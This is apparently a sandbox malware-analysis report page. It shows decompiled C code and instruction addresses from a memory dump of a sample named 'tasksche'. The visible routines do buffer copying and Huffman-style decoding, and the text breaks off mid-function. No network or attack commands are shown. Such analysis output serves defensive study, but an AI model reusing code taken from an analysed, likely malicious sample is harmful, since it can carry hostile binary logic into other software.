													 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t826 & _t852) +  *((intOrPtr*)(_t936 + 0x4b34))));
													_t826 =  *(_t936 + 0xe6dc);
													_t852 = _t852 + 1;
													__eflags = _a4;
													 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t826;
												} while (_a4 > 0);
												continue;
											}
											__eflags = _t651 - _t825;
											if(_t651 >= _t825) {
												goto L77;
											}
											_t829 =  *((intOrPtr*)(_t936 + 0x4b34));
											_t683 = _t829 + _t852;
											_v8 = _t829 + _t651;
											_t831 = _a4;
											 *(_t936 + 0x70) = _t651 + _t831;
											__eflags = _t831 - 1;
											if(_t831 <= 1) {
												__eflags = _t831 - 8;
												if(_t831 < 8) {
													goto L51;
												}
												_t658 = _a4 >> 3;
												__eflags = _t658;
												_v16 = _t658;
												do {
													E0041C290(_t683, _t934, _t936, _v8, _t683, 8);
													_v8 = _v8 + 8;
													_a4 = _a4 - 8;
													_t937 = _t937 + 0xc;
													_t683 = _t683 + 8;
													_t144 =  &_v16;
													 *_t144 = _v16 - 1;
													__eflags =  *_t144;
												} while ( *_t144 != 0);
												goto L51;
											}
											__eflags = _t831 - 8;
											if(_t831 < 8) {
												goto L51;
											}
											_t660 = _v8;
											_t832 = _t831 >> 3;
											__eflags = _t832;
											do {
												_a4 = _a4 - 8;
												 *_t660 =  *_t683;
												 *((char*)(_t660 + 1)) =  *((intOrPtr*)(_t683 + 1));
												 *((char*)(_t660 + 2)) =  *((intOrPtr*)(_t683 + 2));
												 *((char*)(_t660 + 3)) =  *((intOrPtr*)(_t683 + 3));
												 *((char*)(_t660 + 4)) =  *((intOrPtr*)(_t683 + 4));
												 *((char*)(_t660 + 5)) =  *((intOrPtr*)(_t683 + 5));
												 *((char*)(_t660 + 6)) =  *((intOrPtr*)(_t683 + 6));
												_t852 =  *((intOrPtr*)(_t683 + 7));
												 *((char*)(_t660 + 7)) =  *((intOrPtr*)(_t683 + 7));
												_t683 = _t683 + 8;
												_t660 = _t660 + 8;
												_t832 = _t832 - 1;
												__eflags = _t832;
											} while (_t832 != 0);
											goto L47;
										} else {
											_t684 = 0;
											__eflags = 0;
											_a7 = 0;
											_v16 = 0;
											while(1) {
												__eflags = _a7;
												if(_a7 != 0) {
													goto L223;
												}
												_t661 = E00413E39(_t936);
												__eflags = _t661 - 0xffffffff;
												if(_t661 != 0xffffffff) {
													__eflags = _v16 - 3;
													_t662 = _t661 & 0x000000ff;
													if(_v16 != 3) {
														_t684 = (_t684 << 8) + _t662;
														__eflags = _t684;
													} else {
														_v20 = _t662;
													}
												} else {
													_a7 = 1;
												}
												_v16 = _v16 + 1;
												__eflags = _v16 - 4;
												if(_v16 < 4) {
													continue;
												} else {
													__eflags = _a7;
													if(_a7 != 0) {
														goto L223;
													}
													_t834 =  *(_t936 + 0x70);
													_t49 = _t684 + 2; // 0x2
													_t921 = _t49;
													_a4 = _v20 + 0x20;
													_t666 = _t834 - _t921;
													_v16 = _t921;
													_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
													__eflags = _t666 - _t852;
													if(_t666 >= _t852) {
														L60:
														__eflags = _a4;
														if(_a4 > 0) {
															_t923 =  *(_t936 + 0xe6dc);
															do {
																_t683 =  *(_t936 + 0x70);
																_a4 = _a4 - 1;
																 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t923 & _t666) +  *((intOrPtr*)(_t936 + 0x4b34))));
																_t923 =  *(_t936 + 0xe6dc);
																_t666 = _t666 + 1;
																__eflags = _a4;
																 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t923;
															} while (_a4 > 0);
														}
														goto L12;
													}
													__eflags = _t834 - _t852;
													if(_t834 >= _t852) {
														goto L60;
													}
													_t926 =  *((intOrPtr*)(_t936 + 0x4b34));
													_t683 = _t926 + _t666;
													_t667 = _a4;
													_t852 = _t926 + _t834;
													_v8 = _t852;
													 *(_t936 + 0x70) = _t834 + _t667;
													__eflags = _v16 - _t667;
													if(_v16 >= _t667) {
														__eflags = _t667 - 8;
														if(_t667 < 8) {
															L51:
															_t759 = _a4;
															__eflags = _t759;
															if(_t759 <= 0) {
																goto L12;
															} else {
																_t594 = _v8;
																goto L53;
															}
														} else {
															_t669 = _a4 >> 3;
															__eflags = _t669;
															_v16 = _t669;
															do {
																E0041C290(_t683, _t934, _t936, _v8, _t683, 8);
																_v8 = _v8 + 8;
																_a4 = _a4 - 8;
																_t937 = _t937 + 0xc;
																_t683 = _t683 + 8;
																_t83 =  &_v16;
																 *_t83 = _v16 - 1;
																__eflags =  *_t83;
															} while ( *_t83 != 0);
															goto L51;
														}
													}
													__eflags = _t667 - 8;
													if(_t667 >= 8) {
														_t841 = _t667 >> 3;
														__eflags = _t841;
														_t671 = _t852;
														do {
															_a4 = _a4 - 8;
															 *_t671 =  *_t683;
															 *((char*)(_t671 + 1)) =  *((intOrPtr*)(_t683 + 1));
															 *((char*)(_t671 + 2)) =  *((intOrPtr*)(_t683 + 2));
															 *((char*)(_t671 + 3)) =  *((intOrPtr*)(_t683 + 3));
															 *((char*)(_t671 + 4)) =  *((intOrPtr*)(_t683 + 4));
															 *((char*)(_t671 + 5)) =  *((intOrPtr*)(_t683 + 5));
															 *((char*)(_t671 + 6)) =  *((intOrPtr*)(_t683 + 6));
															_t852 =  *((intOrPtr*)(_t683 + 7));
															 *((char*)(_t671 + 7)) =  *((intOrPtr*)(_t683 + 7));
															_t683 = _t683 + 8;
															_t671 = _t671 + 8;
															_t841 = _t841 - 1;
															__eflags = _t841;
														} while (_t841 != 0);
														L47:
														_v8 = _t660;
													}
													goto L51;
												}
											}
											break;
										}
									} else {
										_t598 = E00417CA7(_t936, _t852, __eflags);
										goto L25;
									}
								} else {
									_t598 = E00413EE3(_t936, _t852);
									goto L25;
								}
							} else {
								E00414F83(_t936);
								_t673 =  *((intOrPtr*)(_t936 + 0x4c54));
								_t953 = _t673 -  *((intOrPtr*)(_t936 + 0x4c44));
								if(_t953 > 0) {
									L224:
									return _t673;
								}
								if(_t953 < 0) {
									L19:
									if( *((char*)(_t936 + 0x4c48)) != 0) {
										 *((char*)(_t936 + 0x4c58)) = 0;
										return _t673;
									}
									goto L20;
								}
								_t673 =  *((intOrPtr*)(_t936 + 0x4c50));
								if(_t673 >  *((intOrPtr*)(_t936 + 0x4c40))) {
									goto L224;
								}
								goto L19;
							}
						}
						L223:
						return E00414F83(_t936);
					}
					E004157DB(_t936, _a4);
					_t673 = E0041236D(_t680, _t936, _t849);
					if(_t673 == 0) {
						goto L224;
					}
					if(_a4 == 0 ||  *((char*)(_t936 + 0xe658)) == 0) {
						_t673 = E00413EE3(_t936, _t849);
						if(_t673 == 0) {
							goto L224;
						}
					}
					goto L11;
				} else {
					_v12 = 0;
					_t935 = 0;
					do {
						_t852 =  *(0x4301d0 + _t680 * 4);
						if(_t852 > 0) {
							_t4 = _t935 + 0x44f6b8; // 0x44f6b8
							_v16 = 1;
							_v16 = _v16 << _t680;
							_v8 = _t852;
							E0041A820(_t935, _t4, _t680, _t852);
							_t937 = _t937 + 0xc;
							do {
								_t678 = _v12;
								 *((intOrPtr*)(0x44f6f8 + _t935 * 4)) = _t678;
								_t935 = _t935 + 1;
								_t13 =  &_v8;
								 *_t13 = _v8 - 1;
								_v12 = _t678 + _v16;
							} while ( *_t13 != 0);
						}
						_t680 = _t680 + 1;
					} while (_t680 < 0x13);
					goto L6;
				}
			}

0x00417d80
0x00417d83
0x00417d85
0x00417d8b
0x00417dd9
0x00417de0
0x00417de7
0x00417e20
0x00417e20
0x00417e23
0x00417e23
0x00417e29
0x00417e31
0x00000000
0x00000000
0x00417e42
0x00417e45
0x00417e4c
0x00417e58
0x00417e98
0x00417e9f
0x00418200
0x00418205
0x0041820b
0x00418210
0x00418217
0x00418244
0x00418245
0x00418248
0x0041824a
0x00418264
0x00418267
0x0041826e
0x00418271
0x00418274
0x0041827f
0x00418284
0x0041828b
0x00418291
0x00418293
0x00418293
0x00418293
0x00418295
0x0041829d
0x004182a2
0x004182a4
0x004182ba
0x004182bf
0x00418648
0x0041864a
0x00418658
0x0041865d
0x0041866b
0x00418670
0x00418786
0x0041878b
0x004189ff
0x00418a04
0x00000000
0x00000000
0x00418a16
0x00418a1d
0x00418a1e
0x00418a21
0x00418a23
0x00418a27
0x00418a2e
0x00418a34
0x00418a39
0x00418a41
0x00418a43
0x00418a43
0x00418a46
0x00418a46
0x00418a4c
0x00418a55
0x00418a5b
0x00418a61
0x00418a66
0x00418a67
0x00418a6a
0x00418a6f
0x00418a71
0x00418a77
0x00418a7a
0x00418a7c
0x00418aa1
0x00418aa1
0x00418aa7
0x00418aad
0x00418ab0
0x00418ab8
0x00418abe
0x00418ac4
0x00418ac8
0x00418acc
0x00418acc
0x00418a7e
0x00418a7e
0x00418a80
0x00000000
0x00000000
0x00418a82
0x00418a88
0x00418a8a
0x00418a8f
0x00418a94
0x00418a99
0x00418a99
0x00000000
0x00418a7c
0x00418791
0x00418796
0x0041879a
0x0041879c
0x004187aa
0x004187aa
0x004187ac
0x00000000
0x00000000
0x004187a4
0x004187a6
0x004187a7
0x004187a7
0x004187a7
0x004187b0
0x004187b3
0x004187b8
0x004187be
0x004187c3
0x004187ca
0x004187f7
0x004187f8
0x004187f9
0x004187fb
0x00418815
0x00418818
0x0041881f
0x00418825
0x00418830
0x00418835
0x0041883c
0x00418842
0x00418844
0x00418844
0x00418844
0x00418846
0x0041884e
0x00418855
0x0041885d
0x0041885e
0x00418861
0x00418864
0x00418866
0x0041886a
0x00418871
0x00418877
0x0041887c
0x0041887f
0x00418887
0x00418889
0x00418889
0x0041888c
0x0041888c
0x0041888f
0x0041889a
0x0041889d
0x004188a3
0x004188a6
0x004188a9
0x004188ab
0x004189c2
0x004189c2
0x004189c4
0x00000000
0x00000000
0x004189ca
0x004189d0
0x004189d6
0x004189d9
0x004189e1
0x004189e7
0x004189ed
0x004189f1
0x004189f5
0x004189f5
0x00000000
0x004188b1
0x004188b1
0x004188b3
0x00000000
0x00000000
0x004188b9
0x004188bf
0x004188c2
0x004188c5
0x004188c9
0x004188cc
0x004188cf
0x004188d2
0x00418920
0x00418923
0x0041894c
0x0041894c
0x00418950
0x00418956
0x0041895c
0x0041895f
0x00418961
0x00418967
0x0041896e
0x00418971
0x00418977
0x0041897e
0x00418981
0x00418987
0x0041898e
0x00418991
0x00418997
0x0041899e
0x004189a1
0x004189a7
0x004189ae
0x004189b1
0x004189ba
0x004189ba
0x004189b1
0x004189a1
0x00418991
0x00418981
0x00418971
0x00418961
0x00000000
0x00418950
0x00418928
0x00418928
0x0041892b
0x0041892e
0x00418934
0x00418939
0x0041893d
0x00418941
0x00418944
0x00418947
0x00418947
0x00418947
0x00418947
0x00000000
0x0041892e
0x004188d4
0x004188d7
0x00000000
0x00000000
0x004188d9
0x004188d9
0x004188dc
0x004188de
0x004188e0
0x004188e2
0x004188e6
0x004188eb
0x004188f1
0x004188f7
0x004188fd
0x00418903
0x00418909
0x0041890c
0x0041890f
0x00418912
0x00418915
0x00418918
0x00418918
0x00418918
0x0041891b
0x00000000
0x0041891b
0x004188ab
0x004187fd
0x00418804
0x00418804
0x00418806
0x00000000
0x00000000
0x00418808
0x00418809
0x0041880c
0x0041880f
0x00000000
0x00000000
0x00000000
0x00418811
0x00418813
0x00000000
0x00418813
0x004187ce
0x004187d1
0x004187db
0x004187e3
0x004187e8
0x004187eb
0x00000000
0x004187eb
0x00418676
0x00418679
0x0041867b
0x00000000
0x00000000
0x00418681
0x00418687
0x0041868c
0x00418694
0x0041869a
0x0041869c
0x00418747
0x00418747
0x0041874b
0x00000000
0x00000000
0x00418751
0x00418757
0x0041875d
0x00418760
0x00418768
0x0041876e
0x00418774
0x00418778
0x0041877c
0x0041877c
0x00000000
0x00418781
0x004186a2
0x004186a4
0x00000000
0x00000000
0x004186aa
0x004186b0
0x004186b3
0x004186b6
0x004186ba
0x004186bd
0x004186c0
0x004186c3
0x00418715
0x00418718
0x004185f6
0x004185f6
0x004185f9
0x004185fb
0x00000000
0x00000000
0x00418601
0x0041802c
0x0041802c
0x0041802e
0x00418030
0x00418033
0x00418039
0x0041803c
0x0041803f
0x00418042
0x00418048
0x0041804b
0x0041804e
0x00418051
0x00418057
0x0041805a
0x0041805d
0x00418060
0x00418066
0x00418069
0x0041806c
0x0041806f
0x00418075
0x00418078
0x0041807b
0x0041807e
0x00418087
0x00418087
0x0041807e
0x0041806f
0x00418060
0x00418051
0x00418042
0x00000000
0x00418033
0x0041871e
0x0041871e
0x00418721
0x00418724
0x0041872a
0x0041872f
0x00418733
0x00418737
0x0041873a
0x0041873d
0x0041873d
0x0041873d
0x0041873d
0x00000000
0x00418742
0x004186c5
0x004186c8
0x00000000
0x00000000
0x004186d0
0x004186d0
0x004186d3
0x004186d5
0x004186d7
0x004186db
0x004186e0
0x004186e6
0x004186ec
0x004186f2
0x004186f8
0x004186fe
0x00418701
0x00418704
0x00418707
0x0041870a
0x0041870d
0x0041870d
0x0041870d
0x004185c5
0x004185c5
0x00000000
0x004185c5
0x00418661
0x00417ed9
0x00417edb
0x00000000
0x00417ee1
0x00000000
0x00417ee1
0x00417edb
0x0041864e
0x00000000
0x0041864e
0x004182d1
0x004182d8
0x004182db
0x004182de
0x004182e1
0x004182e3
0x004182e7
0x004182ee
0x004182f9
0x004182fc
0x00418304
0x00418306
0x00418306
0x00418309
0x00418309
0x0041830e
0x00418313
0x00418319
0x0041831e
0x00418325
0x00418352
0x00418353
0x00418356
0x00418358
0x00418372
0x00418375
0x0041837c
0x00418382
0x0041838d
0x00418392
0x00418399
0x0041839f
0x004183a1
0x004183a1
0x004183a1
0x004183a3
0x00000000
0x004183a3
0x0041835a
0x00418361
0x00418361
0x00418363
0x00000000
0x00000000
0x00418365
0x00418366
0x00418369
0x0041836c
0x00000000
0x00000000
0x00000000
0x0041836e
0x00418370
0x00000000
0x00418327
0x00418329
0x0041832c
0x00418336
0x0041833e
0x00418343
0x00418346
0x004183ab
0x004183ab
0x004183b9
0x004183ba
0x004183bd
0x004183c0
0x004183c2
0x0041850a
0x0041850a
0x00418510
0x00418512
0x00418515
0x0041851b
0x0041851d
0x0041851d
0x0041851d
0x0041851d
0x0041851b
0x00418523
0x0041852c
0x00418532
0x00418538
0x0041853b
0x0041853e
0x00418541
0x00418546
0x00418548
0x0041854e
0x00418551
0x00418553
0x00418609
0x00418609
0x0041860d
0x00000000
0x00000000
0x00418613
0x00418619
0x0041861f
0x00418622
0x0041862a
0x00418630
0x00418636
0x0041863a
0x0041863e
0x0041863e
0x00000000
0x00418559
0x00418559
0x0041855b
0x00000000
0x00000000
0x00418561
0x00418567
0x0041856a
0x0041856d
0x00418571
0x00418574
0x00418577
0x0041857a
0x004185ca
0x004185cd
0x00000000
0x00000000
0x004185d2
0x004185d2
0x004185d5
0x004185d8
0x004185de
0x004185e3
0x004185e7
0x004185eb
0x004185ee
0x004185f1
0x004185f1
0x004185f1
0x004185f1
0x00000000
0x004185d8
0x0041857e
0x0041857f
0x00418581
0x00000000
0x00000000
0x00418583
0x00418583
0x00418586
0x00418589
0x0041858b
0x0041858d
0x00418590
0x00418595
0x0041859b
0x004185a1
0x004185a7
0x004185ad
0x004185b3
0x004185b6
0x004185b9
0x004185bc
0x004185be
0x004185c0
0x004185c0
0x004185c0
0x004185c0
0x00000000
0x0041858b
0x00418553
0x004183c8
0x004183cb
0x004184e5
0x004184ec
0x004184f2
0x004184f7
0x004184ff
0x00418501
0x00418501
0x00418504
0x00418507
0x00418507
0x00000000
0x00418507
0x004183d1
0x004183d4
0x004183d8
0x004183df
0x004183e4
0x004183ec
0x004183f8
0x004183fa
0x004183fc
0x004183fc
0x004183ff
0x004183ff
0x00418402
0x00418408
0x0041840a
0x00418420
0x00418425
0x0041842b
0x00418430
0x00418437
0x00418462
0x00418463
0x0041846a
0x0041846d
0x00418488
0x0041848b
0x00418495
0x00418497
0x0041849d
0x004184a7
0x004184ac
0x004184b3
0x004184b9
0x004184bb
0x004184bb
0x004184bb
0x004184bd
0x004184c5
0x004184c5
0x004184c8
0x004184d9
0x004184db
0x00000000
0x004184db
0x004184ca
0x00000000
0x004184ca
0x0041846f
0x00418476
0x00418476
0x00418478
0x00000000
0x00000000
0x0041847a
0x0041847b
0x0041847e
0x00418481
0x00000000
0x00000000
0x00000000
0x00418483
0x00418485
0x00000000
0x00418485
0x0041843b
0x0041843e
0x00418448
0x00418450
0x00418455
0x00418458
0x00000000
0x0041840c
0x0041840c
0x0041840c
0x0041840d
0x00418413
0x00418413
0x00000000
0x00418413
0x0041840a
0x00418325
0x004182ac
0x004182af
0x004182b2
0x004182b2
0x00000000
0x004182b2
0x0041824c
0x00418253
0x00418253
0x00418255
0x00000000
0x00000000
0x00418257
0x00418258
0x0041825b
0x0041825e
0x00000000
0x00000000
0x00000000
0x00418260
0x00418262
0x00000000
0x00418262
0x0041821b
0x0041821e
0x00418228
0x0041822d
0x00418230
0x00418235
0x00418238
0x00000000
0x00418238
0x00417eb0
0x00417eb5
0x00418ae5
0x00418aea
0x00418aea
0x00418aea
0x00000000
0x00418aea
0x00417ec1
0x004181ed
0x004181f6
0x00000000
0x004181f6
0x00417ec9
0x00417ed0
0x00417ee6
0x00417ee9
0x00000000
0x00000000
0x00417eef
0x00417ef2
0x00000000
0x00000000
0x00417ef8
0x00417efb
0x00417f06
0x00417f09
0x004180ce
0x004180d1
0x00000000
0x00000000
0x004180d9
0x004180de
0x004180e1
0x00000000
0x00000000
0x004180f0
0x004180f3
0x004180f6
0x004180f9
0x004180ff
0x00418101
0x004181ae
0x004181ae
0x004181b2
0x00000000
0x00000000
0x004181b8
0x004181be
0x004181c4
0x004181c7
0x004181cf
0x004181d5
0x004181db
0x004181df
0x004181e3
0x004181e3
0x00000000
0x004181e8
0x00418107
0x00418109
0x00000000
0x00000000
0x0041810f
0x00418115
0x0041811a
0x0041811d
0x00418122
0x00418125
0x00418128
0x00418179
0x0041817c
0x00000000
0x00000000
0x00418185
0x00418185
0x00418188
0x0041818b
0x00418191
0x00418196
0x0041819a
0x0041819e
0x004181a1
0x004181a4
0x004181a4
0x004181a4
0x004181a4
0x00000000
0x004181a9
0x0041812a
0x0041812d
0x00000000
0x00000000
0x00418133
0x00418136
0x00418136
0x00418139
0x0041813b
0x0041813f
0x00418144
0x0041814a
0x00418150
0x00418156
0x0041815c
0x00418162
0x00418165
0x00418168
0x0041816b
0x0041816e
0x00418171
0x00418171
0x00418171
0x00000000
0x00417f0f
0x00417f0f
0x00417f0f
0x00417f11
0x00417f14
0x00417f17
0x00417f17
0x00417f1b
0x00000000
0x00000000
0x00417f23
0x00417f28
0x00417f2b
0x00417f33
0x00417f37
0x00417f3a
0x00417f44
0x00417f44
0x00417f3c
0x00417f3c
0x00417f3c
0x00417f2d
0x00417f2d
0x00417f2d
0x00417f46
0x00417f49
0x00417f4d
0x00000000
0x00417f4f
0x00417f4f
0x00417f53
0x00000000
0x00000000
0x00417f5c
0x00417f62
0x00417f62
0x00417f65
0x00417f6a
0x00417f6c
0x00417f75
0x00417f7b
0x00417f7d
0x0041808f
0x0041808f
0x00418093
0x00418099
0x0041809f
0x004180a5
0x004180a8
0x004180b0
0x004180b6
0x004180bc
0x004180c0
0x004180c4
0x004180c4
0x004180c9
0x00000000
0x00418093
0x00417f83
0x00417f85
0x00000000
0x00000000
0x00417f8b
0x00417f91
0x00417f94
0x00417f97
0x00417f9b
0x00417f9e
0x00417fa1
0x00417fa4
0x00417ff2
0x00417ff5
0x0041801e
0x0041801e
0x00418021
0x00418023
0x00000000
0x00418029
0x00418029
0x00000000
0x00418029
0x00417ff7
0x00417ffa
0x00417ffa
0x00417ffd
0x00418000
0x00418006
0x0041800b
0x0041800f
0x00418013
0x00418016
0x00418019
0x00418019
0x00418019
0x00418019
0x00000000
0x00418000
0x00417ff5
0x00417fa6
0x00417fa9
0x00417fad
0x00417fad
0x00417fb0
0x00417fb2
0x00417fb4
0x00417fb8
0x00417fbd
0x00417fc3
0x00417fc9
0x00417fcf
0x00417fd5
0x00417fdb
0x00417fde
0x00417fe1
0x00417fe4
0x00417fe7
0x00417fea
0x00417fea
0x00417fea
0x00417fed
0x00417fed
0x00417fed
0x00000000
0x00417fa9
0x00417f4d
0x00000000
0x00417f17
0x00417efd
0x00417eff
0x00000000
0x00417eff
0x00417ed2
0x00417ed4
0x00000000
0x00417ed4
0x00417e5e
0x00417e60
0x00417e65
0x00417e6b
0x00417e71
0x00418afc
0x00418afc
0x00418afc
0x00417e77
0x00417e8b
0x00417e92
0x00418ad6
0x00000000
0x00418ad6
0x00000000
0x00417e92
0x00417e79
0x00417e85
0x00000000
0x00000000
0x00000000
0x00417e85
0x00417e58
0x00418af1
0x00000000
0x00418af3
0x00417dee
0x00417df5
0x00417dfc
0x00000000
0x00000000
0x00417e06
0x00417e13
0x00417e1a
0x00000000
0x00000000
0x00417e1a
0x00000000
0x00417d8d
0x00417d8d
0x00417d90
0x00417d92
0x00417d92
0x00417d9b
0x00417d9e
0x00417da7
0x00417dae
0x00417db2
0x00417db5
0x00417dba
0x00417dbd
0x00417dbd
0x00417dc0
0x00417dca
0x00417dcb
0x00417dcb
0x00417dce
0x00417dce
0x00417dbd
0x00417dd3
0x00417dd4
0x00000000
0x00417d92

APIs

_memset.LIBCMT ref: 00417DB5

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f2ddf0237e8c887b9397686041efde03e6b7465c6b8aca2acf299e0ee70c85ec
Instruction ID: ca8e397051957a2ab45e24d4035287d6273771f133136d8253d7927585564b75
Opcode Fuzzy Hash: f2ddf0237e8c887b9397686041efde03e6b7465c6b8aca2acf299e0ee70c85ec
Instruction Fuzzy Hash: 5692D5709087859FCB29CF34C4D06E9BBF1AF55308F18C5AED8968B342D738A985CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00414946 Relevance: 2.0, APIs: 1, Instructions: 478
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00414946(void* __ebx, intOrPtr __ecx, signed int _a4) {
				signed char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed char _v24;
				signed int* _v28;
				intOrPtr _v32;
				signed char _v36;
				signed int _v40;
				signed int _v44;
				signed char _v48;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t214;
				intOrPtr _t215;
				signed int _t216;
				signed int _t217;
				signed int _t219;
				unsigned int _t220;
				signed int _t223;
				signed int _t224;
				signed int _t226;
				unsigned int _t227;
				signed int _t230;
				signed int _t231;
				signed int _t236;
				unsigned int _t237;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int* _t249;
				signed int _t250;
				signed int _t257;
				unsigned int _t258;
				signed int _t261;
				signed int _t262;
				signed int* _t267;
				unsigned int _t268;
				signed int _t271;
				signed int _t272;
				signed int _t273;
				unsigned int _t274;
				signed int _t277;
				signed int _t278;
				signed int _t279;
				unsigned int _t280;
				signed int _t287;
				unsigned int _t288;
				signed int _t291;
				signed int _t292;
				signed int _t294;
				signed int _t295;
				signed int _t297;
				void* _t302;
				void* _t303;
				signed int* _t306;
				signed int* _t307;
				signed int _t311;
				signed int _t312;
				signed int _t315;
				signed int _t316;
				intOrPtr* _t319;
				signed int _t320;
				signed int _t321;
				intOrPtr _t327;
				signed int* _t328;
				signed int _t331;
				void* _t333;
				signed int _t338;
				void* _t340;
				signed char _t344;
				void* _t347;
				intOrPtr* _t351;
				void* _t352;
				signed int _t355;
				signed int _t358;
				signed int _t363;
				unsigned int _t365;
				void* _t367;
				signed char _t370;
				void* _t373;
				signed int _t378;
				unsigned int _t380;
				void* _t382;
				void* _t384;
				signed int _t387;
				void* _t390;
				void* _t392;
				signed int _t395;
				void* _t398;
				signed int _t402;
				signed short _t403;
				intOrPtr* _t405;
				void* _t406;
				signed int _t409;
				signed int _t415;
				signed int _t416;
				signed int _t420;
				signed int _t421;
				signed int _t427;
				signed int _t429;
				signed int _t432;
				signed int _t433;
				intOrPtr* _t436;
				signed int _t441;
				intOrPtr* _t443;

				_t303 = __ebx;
				_t441 = _a4;
				_v32 = __ecx;
				if( *((char*)(_t441 + 0x2c)) != 0) {
					L3:
					_t214 =  *((intOrPtr*)(_t441 + 0x18));
					_t443 = _t441 + 4;
					__eflags =  *_t443 -  *((intOrPtr*)(_t441 + 0x24)) + _t214;
					if( *_t443 <=  *((intOrPtr*)(_t441 + 0x24)) + _t214) {
						 *(_t441 + 0x4ad8) =  *(_t441 + 0x4ad8) & 0x00000000;
						_t17 = _t214 - 1; // -1
						_t215 =  *((intOrPtr*)(_t441 + 0x20)) + _t17;
						_t327 =  *((intOrPtr*)(_t441 + 0x4acc)) - 0x10;
						__eflags = _t215 - _t327;
						_v16 = _t215;
						_v20 = _t327;
						_v12 = _t215;
						if(_t215 >= _t327) {
							_v12 = _t327;
						}
						_push(_t303);
						while(1) {
							_t214 =  *_t443;
							__eflags = _t214 - _v12;
							if(_t214 < _v12) {
								goto L15;
							}
							L9:
							__eflags = _t214 - _v16;
							if(__eflags > 0) {
								L97:
								goto L98;
							}
							if(__eflags != 0) {
								L12:
								__eflags = _t214 - _v20;
								if(_t214 < _v20) {
									L14:
									__eflags = _t214 -  *((intOrPtr*)(_t441 + 0x4acc));
									if(_t214 >=  *((intOrPtr*)(_t441 + 0x4acc))) {
										L96:
										 *((char*)(_t441 + 0x4ad3)) = 1;
										goto L97;
									}
									goto L15;
								}
								__eflags =  *((char*)(_t441 + 0x4ad2));
								if( *((char*)(_t441 + 0x4ad2)) == 0) {
									goto L96;
								}
								goto L14;
							}
							__eflags =  *((intOrPtr*)(_t441 + 8)) -  *((intOrPtr*)(_t441 + 0x1c));
							if( *((intOrPtr*)(_t441 + 8)) >=  *((intOrPtr*)(_t441 + 0x1c))) {
								goto L97;
							}
							goto L12;
							L15:
							_t328 = _t441 + 0x4adc;
							_t216 =  *_t328;
							__eflags =  *(_t441 + 0x4ad8) - _t216 - 8;
							if(__eflags > 0) {
								_t295 = _t216 + _t216;
								 *_t328 = _t295;
								_push(_t295 * 0xc);
								_t307 = _t441 + 0x4ad4;
								_push( *_t307);
								_t297 = E0041A594(_t307, _t441, _t443, __eflags);
								 *_t307 = _t297;
								__eflags = _t297;
								if(_t297 == 0) {
									E004063CE(0x4335ac);
								}
							}
							_t217 =  *(_t441 + 0x4ad8);
							_t306 = _t217 * 0xc +  *(_t441 + 0x4ad4);
							_v28 = _t306;
							 *(_t441 + 0x4ad8) = _t217 + 1;
							_t219 = E0040978C(_t443);
							_t415 =  *(_t441 + 0xb4);
							_t220 = _t219 & 0x0000fffe;
							__eflags = _t220 -  *((intOrPtr*)(_t441 + 0x34 + _t415 * 4));
							if(_t220 >=  *((intOrPtr*)(_t441 + 0x34 + _t415 * 4))) {
								_t416 = _t415 + 1;
								_a4 = 0xf;
								__eflags = _t416 - 0xf;
								if(_t416 >= 0xf) {
									L26:
									_t331 =  *(_t443 + 4) + _a4;
									 *_t443 =  *_t443 + (_t331 >> 3);
									_t419 = _a4;
									 *(_t443 + 4) = _t331 & 0x00000007;
									_t333 = 0x10;
									_t223 = (_t220 -  *((intOrPtr*)(_t441 + 0x30 + _a4 * 4)) >> _t333 - _a4) +  *((intOrPtr*)(_t441 + 0x74 + _t419 * 4));
									__eflags = _t223 -  *((intOrPtr*)(_t441 + 0x30));
									if(_t223 >=  *((intOrPtr*)(_t441 + 0x30))) {
										_t223 = 0;
										__eflags = 0;
									}
									_t224 =  *(_t441 + 0xcb8 + _t223 * 2) & 0x0000ffff;
									goto L29;
								}
								_t405 = _t441 + 0x34 + _t416 * 4;
								while(1) {
									__eflags = _t220 -  *_t405;
									if(_t220 <  *_t405) {
										break;
									}
									_t416 = _t416 + 1;
									_t405 = _t405 + 4;
									__eflags = _t416 - 0xf;
									if(_t416 < 0xf) {
										continue;
									}
									goto L26;
								}
								_a4 = _t416;
								goto L26;
							} else {
								_t406 = 0x10;
								_t294 = _t220 >> _t406 - _t415;
								_t409 = ( *(_t294 + _t441 + 0xb8) & 0x000000ff) +  *(_t443 + 4);
								 *_t443 =  *_t443 + (_t409 >> 3);
								 *(_t443 + 4) = _t409 & 0x00000007;
								_t224 =  *(_t441 + 0x4b8 + _t294 * 2) & 0x0000ffff;
								L29:
								__eflags = _t224 - 0x100;
								if(_t224 >= 0x100) {
									__eflags = _t224 - 0x106;
									if(_t224 < 0x106) {
										__eflags = _t224 - 0x100;
										if(_t224 != 0x100) {
											__eflags = _t224 - 0x101;
											if(_t224 != 0x101) {
												 *_t306 = 3;
												_t306[2] = _t224 + 0xfffffefe;
												_t226 = E0040978C(_t443);
												_t420 =  *(_t441 + 0x2d78);
												_t227 = _t226 & 0x0000fffe;
